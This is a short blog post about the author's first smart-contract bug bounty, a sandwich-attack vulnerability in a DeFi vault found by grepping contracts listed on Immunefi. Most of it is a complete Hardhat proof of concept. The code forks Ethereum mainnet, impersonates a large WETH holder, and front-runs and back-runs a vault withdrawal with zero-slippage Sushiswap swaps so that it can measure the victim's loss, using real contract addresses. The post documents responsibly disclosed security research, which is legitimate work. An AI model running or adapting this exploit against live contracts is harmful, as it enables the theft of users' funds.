My First Smart Contract Vuln

Details

Late into 2021 me and a few friends created a tool that would download all the smart contracts listed on immunefi and grep through them for one simple and generalizable vulnerability. The vulnerability looked for the value of the second parameter in a function call to swap tokens. If this second parameter was either a 0 or a 1 then it would be susceptible to a sandwich attack.

I mainly focused on writing the infrastructure to support this meanwhile my friends would zero in on writing a Proof of Concept.

For those interested in understanding the full technical details of how and why this happens, then you can find the article we wrote on Medium here. If you just want to get the Proof of Concept, then the code is below:

const { expect } = require("chai");
const { network, ethers, waffle } = require("hardhat");
describe("CitadelVault", function () {
 this.timeout(0);
 it("Shouldn't be sandwichable", async function () {
  weth_whale_address = "0xE78388b4CE79068e89Bf8aA7f218eF6b9AB0e9d0";
  sushi_address = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F";
  dai_address = "0x6b175474e89094c44da98b954eedeac495271d0f";
  weth_address = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  withdrawer_address = "0x1c7679cf155d6df0523743bc4f26f4a08b6a7daf";
  vault_address = "0x8fE826cC1225B03Aa06477Ad5AF745aEd5FE7066";
  // Impersonate withdrawer
  await network.provider.request({
   method: "hardhat_impersonateAccount",
   params: [withdrawer_address],
  });
  await network.provider.request({
   method: "hardhat_impersonateAccount",
   params: [weth_whale_address],
  });
  const attacker = await ethers.getSigner(weth_whale_address);
  const signer = await ethers.getSigner(withdrawer_address);
  const CitadelVault = await ethers
  .getContractAt("CitadelVault", vault_address);
  const DAI = await ethers.getContractAt("IERC20", dai_address);
  const WETH = await ethers.getContractAt("IERC20", weth_address);
  const SUSHI = await ethers
  .getContractAt("IUniswapV2Router02", sushi_address);
  // Normal withdraw
  console.log("Normal withdraw");
  console.log((await DAI.balanceOf(signer.getAddress()))
  .toString());
  await CitadelVault.connect(signer)
  .withdraw("8492500000000000000", "2");
  const normal_withdraw_amount = await DAI.balanceOf(signer
  .getAddress());
  console.log((await DAI.balanceOf(signer.getAddress()))
  .toString());
  // Reset network
  await network.provider.request({
   method: "hardhat_reset",
   params: [
    {
     forking: {
      jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/[censored]",
      blockNumber: 13017013,
     },
    },
   ],
  });
  await network.provider.request({
   method: "hardhat_impersonateAccount",
   params: [withdrawer_address],
  });
  await network.provider.request({
   method: "hardhat_impersonateAccount",
   params: [weth_whale_address],
  });
  // Sandwiched withdraw
  console.log("\nSandwiched withdraw");
  console.log((await DAI.balanceOf(signer.getAddress()))
  .toString());
  
  // Front run sandwich swap
  trade_path = [WETH.address, DAI.address];
  inverse_trade_path = [DAI.address, WETH.address];
  const amount = await WETH.balanceOf(attacker.address);
  await WETH.connect(attacker).approve(SUSHI.address, amount);
  
  await SUSHI.connect(attacker).swapExactTokensForTokens(
   amount,
   0,
   trade_path,
   attacker.address,
   Date.now() + 500*60*10
  );
  
  const dai_balance = await DAI.balanceOf(attacker.address);
  await CitadelVault.connect(signer)
  .withdraw("8492500000000000000", "2");
  // Back run sandwich swap
  await DAI.connect(attacker).approve(SUSHI.address, dai_balance);
  await SUSHI.connect(attacker).swapExactTokensForTokens(
   dai_balance,
   0,
   inverse_trade_path,
   attacker.address,
   Date.now() + 500*60*10
  );
  const sandwich_attacked_amount = await DAI.balanceOf(signer
  .getAddress());
  console.log((await DAI.balanceOf(signer.getAddress()))
  .toString());
  console.log("Incurred loss: $" + ethers.utils.formatEther
  (normal_withdraw_amount.sub(sandwich_attacked_amount)));
  expect(sandwich_attacked_amount < normal_withdraw_amount);
 });
});

Discussion

This was the first Smart Contract I was able to find and was surprised that there was a nice payout to it. This space is still quite niche, however, it is fast growing and as such these finds will become more sparse as time progresses considering developers are only getting more savvy with their code implementations. With that being said though, whenever there are more people that enter a certain domain, there will also be more low-quality work. There was a presentation on this at Blackhat 2019 where the presenter showcased the statistics of the reports that HackerOne receives yearly and what category they fall under. The category for more low-hanging fruit drastically increased along with the number of reports as it doubled in the span of 3 years. It would be interesting to see a parallel to traditional security in Web 3. Only time will tell at this rate.